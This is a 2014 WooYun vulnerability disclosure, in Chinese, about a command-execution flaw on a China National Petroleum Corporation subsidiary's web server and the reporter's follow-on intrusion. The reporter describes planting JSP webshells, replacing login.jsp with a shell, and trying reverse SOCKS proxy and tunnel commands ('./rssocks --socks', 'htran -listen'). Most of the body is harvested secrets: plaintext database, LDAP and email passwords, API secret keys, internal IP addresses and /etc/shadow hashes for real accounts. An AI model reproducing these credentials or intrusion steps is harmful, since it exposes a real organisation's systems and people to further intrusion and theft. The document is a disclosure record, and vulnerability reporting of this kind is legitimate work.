当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085735

漏洞标题：中国石油天然气集团公司可被内网渗透

相关厂商：中国石油天然气集团公司

漏洞作者： netwind

提交时间：2014-12-03 15:53

修复时间：2015-01-17 15:54

公开时间：2015-01-17 15:54

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-03： 细节已通知厂商并且等待厂商处理中
2014-12-08： 厂商已经确认，细节仅向厂商公开
2014-12-18： 细节向核心白帽子及相关领域专家公开
2014-12-28： 细节向普通白帽子公开
2015-01-07： 细节向实习白帽子公开
2015-01-17： 细节向公众公开

简要描述：

无意点开了中石油一个站有命令执行漏洞
发现是内网 于是就有了一个渗透测试的过程

详细说明：

浏览到一个中石油的站西北化工销售公司
http://xbhg.cnpc.com.cn/
发现页面下面有个 登陆窗口
鼠标放到登陆按钮上，显示出一个链接
http://xbhg.cnpc.com.cn/ExtranetWeb/loginDo.do
然后测试了一下发现有命令执行漏洞还是ROOT权限

1x.jpg


看了下IP属于内网

2x.jpg


看了下网络链接情况

3x.jpg


22端口开放
再看下登陆情况，可以查看管理从哪里登陆这个服务器

4x.jpg


对该服务器大致情况有了一个了解
为了方便操作 上传一个JSP shelL
但是出现了一个问题 访问SHELL 马上就跳转到LOGIN.JSP 非常苦恼。
不过发现只要不是JSP后缀就不会跳
这时请出园长的JSPX马，成功连接上菜刀

6x.jpg


然后对该服务器进行了一些信息收集
得到大量内网服务器数据库账号密码等信息
还有部分邮件账号信息

/usr/xbhg/webapp/ExtranetWeb/WEB-INF/classes/jdbc.properties
#jdbc.driverClass=com.mysql.jdbc.Driver
jdbc.jdbcUrl=jdbc:oracle:thin:@10.88.182.5:1521:orcl
jdbc.user=xbhg_wwqy
jdbc.password=member
ldap.username=xbhg_xiangwei
ldap.passwd=xiangweiway
#0 on 1 off
isopenldap=0
#0 on 1 off
isopennews=0
/usr/xbhg/webapp/network20141119/WEB-INF/classes/jdbc.properties
jdbc.jdbcUrl=jdbc:oracle:thin:@//10.21.24.30:1526/wwwdb
jdbc.user=xbhg_wwqy
jdbc.password=member
/usr/cmsapp.20140428/webapps/cnpcstockinfo/WEB-INF/classes/com/ucap/android/message/andriod.properties
#Created by JInto - www.guh-software.de
#Fri Jan 17 13:32:24 CST 2014
apiKey=xSN2v5FO8hfrnubVRfIvQpuL
apiKeyOther=
secretKey=lYsk9kmUk7dAg8EghAf9hbu15QDgbBkh
secretKeyOther=
/usr/cmsapp.20140428/webapps/app-comment/WEB-INF/classes/yz_sv_db.properties
jdbc.sqlserver.driver=oracle.jdbc.driver.OracleDriver
jdbc.sqlserver.url=jdbc:oracle:thin:@(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.18)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.19)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.20)(PORT = 1526))(LOAD_BALANCE = yes)(FAILOVER = ON)(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = wwwdb)))
jdbc.sqlserver.username=frontapp
jdbc.sqlserver.password=frontapp
String sourcePath = "http://10.21.24.116:8182/wla/customers/cnpc/topSites.json.jsp?d="+day_first_prevM+"&ed="+day_end_prevM;
/usr/cmsapp/webserver/tomcat7/conf/tomcat-users.xml
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="tomcat" roles="tomcat"/>
  <user username="both" password="tomcat" roles="tomcat,role1"/>
  <user username="role1" password="tomcat" roles="role1"/>
-->
 <Logger className="org.apache.catalina.logger.FileLogger" prefix="cnpcstockinfo_log." suffix=".txt" timestamp="true"/>
  
  <Resource name="cnpcstockinfods" auth="Container"
	    type="javax.sql.DataSource" driverClassName="com.microsoft.sqlserver.jdbc.SQLServerDriver"
	    url="jdbc:sqlserver://10.21.24.36\\EIPAPPINST01:1434"
	    username="oilprice" password="oilprice" maxActive="50" maxIdle="10"
	    maxWait="10000"/>
	
   <Resource name="cnpcstockinfodscms" auth="Container"
	    type="javax.sql.DataSource" driverClassName="oracle.jdbc.driver.OracleDriver"
	    url="jdbc:oracle:thin:@(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.18)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.19)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.20)(PORT = 1526))(LOAD_BALANCE = yes)(FAILOVER = ON)(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = wwwdb)))"
	    username="frontapp" password="frontapp" maxActive="50" maxIdle="10"
	    maxWait="10000"/>
	    
</Context>
/usr/cmsapp/webapps/app-wsdc/WEB-INF/classes/applicationContext.newpasswd.xml
	<bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="url" value="jdbc:oracle:thin:@(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.18)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.19)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.20)(PORT = 1526))(LOAD_BALANCE = yes)(FAILOVER = ON)(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = wwwdb)))"/>
		<property name="username" value="cmspro"/>
		<property name="password" value="cqmyg*128"/>
		<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
	</bean>
/usr/cmsapp/webapps/app-wsdc/WEB-INF/classes/applicationContext.xml.bak
<!-- 使用apache 的dbcp连接池
	<bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="url" value="jdbc:oracle:thin:@localhost:1521:orcl"/>
		<property name="username" value="website"/>
		<property name="password" value="website"/>
		<property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/>
	</bean> -->
/usr/cmsapp/webapps/app-wsdc/WEB-INF/classes/yz_sv_db.newpasswd.properties
jdbc.sqlserver.driver=oracle.jdbc.driver.OracleDriver
jdbc.sqlserver.url=jdbc:oracle:thin:@(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.18)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.19)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.20)(PORT = 1526))(LOAD_BALANCE = yes)(FAILOVER = ON)(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = wwwdb)))
jdbc.sqlserver.username=cmspro
jdbc.sqlserver.password=cqmyg*128
/usr/cmsapp/webapps/app-wsdc/WEB-INF/classes/yz_sv_db.cmspro.properties
jdbc.sqlserver.driver=oracle.jdbc.driver.OracleDriver
jdbc.sqlserver.url=jdbc:oracle:thin:@(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.18)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.19)(PORT = 1526))(ADDRESS = (PROTOCOL = TCP)(HOST = 10.21.24.20)(PORT = 1526))(LOAD_BALANCE = yes)(FAILOVER = ON)(CONNECT_DATA =(SERVER = DEDICATED)(SERVICE_NAME = wwwdb)))
jdbc.sqlserver.username=cmspro
jdbc.sqlserver.password=cmspro
jdbc.sqlserver.driver=oracle.jdbc.driver.OracleDriver
jdbc.sqlserver.url=jdbc:oracle:thin:@10.8.9.131:1521:XE
jdbc.sqlserver.username=cmspro
jdbc.sqlserver.password=cmspro
#Created by JInto - www.guh-software.de
#Fri Jan 17 13:32:24 CST 2014
apiKey=PBRo81SOdP1UKxsenivyExF9
apiKeyNeiBu=ioGAqnvk2yRLPYihOCauMRix
secretKey=IwdvRzMCN2AYnPWXlL4jNiq4D77jcfgU
secretKeyNeiBu=aLAZHv1c7LjaugcllOZ7IwtXMCNR2FLO
本服务器账号密码
root:$6$uCxdxOLi$789hWWk/IyuEKp/pIKbZB2A81VmWzH5koW7o.tjeRc415cx5QIMSPF9.cOuHiNGVsNcfoS36SpmuszY8cHNs7.:16249:0:99999:7:::
bin:!*:15615:0:99999:7:::
daemon:!*:15615:0:99999:7:::
adm:!*:15615:0:99999:7:::
lp:!*:15615:0:99999:7:::
sync:!*:15615:0:99999:7:::
shutdown:!*:15615:0:99999:7:::
halt:!*:15615:0:99999:7:::
mail:!*:15615:0:99999:7:::
uucp:!*:15615:0:99999:7:::
operator:!*:15615:0:99999:7:::
games:!*:15615:0:99999:7:::
gopher:!*:15615:0:99999:7:::
ftp:!*:15615:0:99999:7:::
nobody:!*:15615:0:99999:7:::
dbus:!!:16143::::::
usbmuxd:!!:16143::::::
rpc:!!:16143:0:99999:7:::
vcsa:!!:16143::::::
rtkit:!!:16143::::::
abrt:!!:16143::::::
avahi-autoipd:!!:16143::::::
saslauth:!!:16143::::::
postfix:!!:16143::::::
rpcuser:!!:16143::::::
nfsnobody:!!:16143::::::
haldaemon:!!:16143::::::
gdm:!!:16143::::::
ntp:!!:16143::::::
apache:!!:16143::::::
pulse:!!:16143::::::
sshd:!!:16143::::::
tcpdump:!!:16143::::::
oprofile:!!:16143::::::
eipsysadmin:$6$Zj4W4kFL97MVx321$DvgP0kcAC1RSlwVQAOTiWZjMqSs3Tl4oYOSlN0HJHN/bJksvEFCtqL22pkaGMUbC5gmPtFZQVnVFTnaFhvQQp.:16143:0:99999:7:::
sysmonitor:$6$OF0Vctia$tYPHmACHqqaquLPPSDNLoOzfu9KJISQe6YzW0nYHtGeSh8mID.NGPxfits7vqXmgQNaunZEM2C.ErM/CEIGQk.:16188:1:99999:14:::
Protocol 2
UsePAM yes
SyslogFacility AUTHPRIV
PasswordAuthentication yes
ClientAliveInterval 600
ClientAliveCountMax 0
IgnoreRhosts yes
HostBasedAuthentication no
PermitRootLogin no
PermitEmptyPasswords no
X11Forwarding no
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES 
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT 
AcceptEnv LC_IDENTIFICATION LC_ALL
AcceptEnv XMODIFIERS
ChallengeResponseAuthentication no
GSSAPIAuthentication yes
GSSAPICleanupCredentials yes
Banner /etc/issue.net
Subsystem       sftp    /usr/libexec/openssh/sftp-server
/home/eipsysadmin/Tdb.java	
import java.sql.Connection;
import java.sql.DriverManager;
public class Tdb {
	/**
	 * @param args
	 */
	public static void main(String[] args)throws Exception {
		// TODO Auto-generated method stub
		Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
		//String url="jdbc:sqlserver://10.21.24.37:1433;databaseName=xbhgsell";
		String url="jdbc:sqlserver://10.21.24.37\\EIPAPPINST02;databaseName=xbhgsell";
		String usr = "zhangzq";
		String pswd = "zhangzq";
		Connection conn = DriverManager.getConnection(url, usr,pswd);
		conn.close();
	}
}
network --onboot no --device eth0 --bootproto static --ip 20.21.24.118 --netmask 255.255.255.192 --gateway 10.21.24.126 --noipv6 --nameserver 10.21.12.25 --hostname wwwSocial01
rootpw  --iscrypted $6$V3rZmIYXLjJ/sfH9$rMzcqPFd/E.hTHlwtGstZcVGuYveliv7cU0bvycPj0WgKQpKATOoaPBlGwtxQEKIU8v4sJQkD5./ynbT0WBM.0】
/usr/cmsapp/webapps/publicly/dblink/dbconn.jsp
<%!
	/**
	* <p>
	* 连接的数据库是gmspro:<br/>
	* 用户是gmspro<br/>
	* </p>
	* <p>在 [所有]项目下可以使用此方法获取到数据库连接</p>
	*/
	public Connection getGmsproDBConnection() throws Exception{
		String url = "jdbc:oracle:thin:@117.78.1.182:1521:orcl";
		String user = "gsmpro";
		String pwd = "gsmpro"; 
		return DriverManager.getConnection(url,user,pwd);
	}
%>
 * 获取数据库连接
	 */ 
	/* public Connection getStockinfoConnection() throws Exception {
	Context ctx = new InitialContext();
	DataSource ds = (DataSource) ctx.lookup("java:comp/env/cnpcstockinfods");
	return ds.getConnection();
	} */
	public Connection getStockinfoConnection() throws Exception {
		Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
		return DriverManager.getConnection("jdbc:sqlserver://10.21.24.36\\EIPAPPINST01","oilprice","oilprice");
	}
	/**
/usr/cmsapp/webapps/publicly/jndi/rzjc-mssql.xml
?<?xml version="1.0" encoding="UTF-8"?>
<Context docBase="D:\workspace\rzjc\rzjc" path="/rzjc" reloadable="true" crossContext="true">
		<Resource name="QtyyOracleDS" auth="Container" type="javax.sql.DataSource" maxActive="30" maxIdle="3" maxWait="10000" username="sa" password="jwztsa" driverClassName="com.microsoft.sqlserver.jdbc.SQLServerDriver"               url="jdbc:sqlserver://192.168.1.135:1433;DatabaseName=test;SelectMethod=cursor"/> 
</Context>
?<?xml version="1.0" encoding="UTF-8"?>
<Context docBase="D:\workspace\rzjc\rzjc" path="/rzjc" reloadable="true" crossContext="true">
		<Resource name="QtyyOracleDS" auth="Container" type="javax.sql.DataSource" maxActive="30" maxIdle="3" maxWait="10000" username="root" password="root" driverClassName="com.mysql.jdbc.Driver"               url="jdbc:mysql://localhost/test"/> 
</Context>
?<?xml version="1.0" encoding="UTF-8"?>
<Context docBase="D:\workspace\rzjc\rzjc" path="/rzjc" reloadable="true" crossContext="true">
		<Resource name="QtyyOracleDS" auth="Container" type="javax.sql.DataSource" maxActive="30" maxIdle="3" maxWait="10000" username="cmspro" password="cmspro" driverClassName="oracle.jdbc.driver.OracleDriver"               url="jdbc:oracle:thin:@124.238.215.172:1521:orcl"/> 
</Context>
?<?xml version="1.0" encoding="UTF-8"?>
<Context docBase="D:\workspace\rzjc\rzjc" path="/rzjc" reloadable="true"
	crossContext="true">
	<Resource name="QtyyOracleDS" auth="Container"
		type="javax.sql.DataSource" maxActive="30" maxIdle="3" maxWait="10000"
		username="test" password="test"
		driverClassName="com.ibm.db2.jcc.DB2Driver"
		url="jdbc:db2://192.168.1.222:50000/cms_test" />
</Context>
/usr/cmsapp/webapps/publicly/publicmessage/sendMail.jsp
 // out.println(":::::::"+email+"::transport:"+transport);
         //transport.connect(server163,"huangyyxing","hyh15801686114");  
         transport.connect(server163,"public@aqsiq.gov.cn","it0wnet23718226");  
		
jdbc.sqlserver.driver=oracle.jdbc.driver.OracleDriver
jdbc.sqlserver.url=jdbc:oracle:thin:@10.8.9.132:1521:XE
jdbc.sqlserver.username=cmspro
jdbc.sqlserver.password=cmspro


下一步计划从内网反弹一个SOCKS5代理出来
这个时候出现了问题，用菜刀上传ssocks 总是失败
菜刀命令行下WGET下载也失败
于是想了一下 既然访问JSP总是跳到LOGIN.JSP 那么就暂时把LOGIN.JSP替换成JSP大马吧 果然可行
我们把login.jsp替换 上传大马 上传文件
解压
[/]$ tar -zxvf ssocks.tar.gz
编译./configure&make
进入SRC目录 执行命令./rssocks --socks *.*.*.*:1234
本机用htran监听 htran -listen 1234 1988
可惜总是失败
看了下服务器的连接状况 发现一直处于等待连接的状态
然后经过N久尝试 认为可能是这个服务器不能访问外网
于是服务器执行ping -c 2 www.baidu.com
不能接受返回包，应该是不能访问外网
这时候准备继续尝试下简历HTTP通道
把服务器某端口转发到本机

5x.jpg


看起来貌似成功了，不过可惜，没多久就断开了。
略感伤心
接着下一步就是上传NMAP直接在服务器进行端口扫描 弱口令扫描等
不再继续了。。。。有点疲倦！

漏洞证明：

1x.jpg


6x.jpg


#jdbc.driverClass=com.mysql.jdbc.Driver
jdbc.jdbcUrl=jdbc:oracle:thin:@10.88.182.5:1521:orcl
jdbc.user=xbhg_wwqy
jdbc.password=member
ldap.username=xbhg_xiangwei
ldap.passwd=xiangweiway
本服务器账号密码
root:$6$uCxdxOLi$789hWWk/IyuEKp/pIKbZB2A81VmWzH5koW7o.tjeRc415cx5QIMSPF9.cOuHiNGVsNcfoS36SpmuszY8cHNs7.:16249:0:99999:7:::
bin:!*:15615:0:99999:7:::
daemon:!*:15615:0:99999:7:::
adm:!*:15615:0:99999:7:::
lp:!*:15615:0:99999:7:::
sync:!*:15615:0:99999:7:::
shutdown:!*:15615:0:99999:7:::
halt:!*:15615:0:99999:7:::
mail:!*:15615:0:99999:7:::
uucp:!*:15615:0:99999:7:::
operator:!*:15615:0:99999:7:::
games:!*:15615:0:99999:7:::
gopher:!*:15615:0:99999:7:::
ftp:!*:15615:0:99999:7:::
nobody:!*:15615:0:99999:7:::
dbus:!!:16143::::::
usbmuxd:!!:16143::::::
rpc:!!:16143:0:99999:7:::
vcsa:!!:16143::::::
rtkit:!!:16143::::::
abrt:!!:16143::::::
avahi-autoipd:!!:16143::::::
saslauth:!!:16143::::::
postfix:!!:16143::::::
rpcuser:!!:16143::::::
nfsnobody:!!:16143::::::
haldaemon:!!:16143::::::
gdm:!!:16143::::::
ntp:!!:16143::::::
apache:!!:16143::::::
pulse:!!:16143::::::
sshd:!!:16143::::::
tcpdump:!!:16143::::::
oprofile:!!:16143::::::
eipsysadmin:$6$Zj4W4kFL97MVx321$DvgP0kcAC1RSlwVQAOTiWZjMqSs3Tl4oYOSlN0HJHN/bJksvEFCtqL22pkaGMUbC5gmPtFZQVnVFTnaFhvQQp.:16143:0:99999:7:::
sysmonitor:$6$OF0Vctia$tYPHmACHqqaquLPPSDNLoOzfu9KJISQe6YzW0nYHtGeSh8mID.NGPxfits7vqXmgQNaunZEM2C.ErM/CEIGQk.:16188:1:99999:14:::

修复方案：

建议全网检查漏洞

版权声明：转载请注明来源 netwind@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-12-08 09:06

厂商回复：

配置不当

最新状态：

2014-12-24：已整改完毕，谢谢。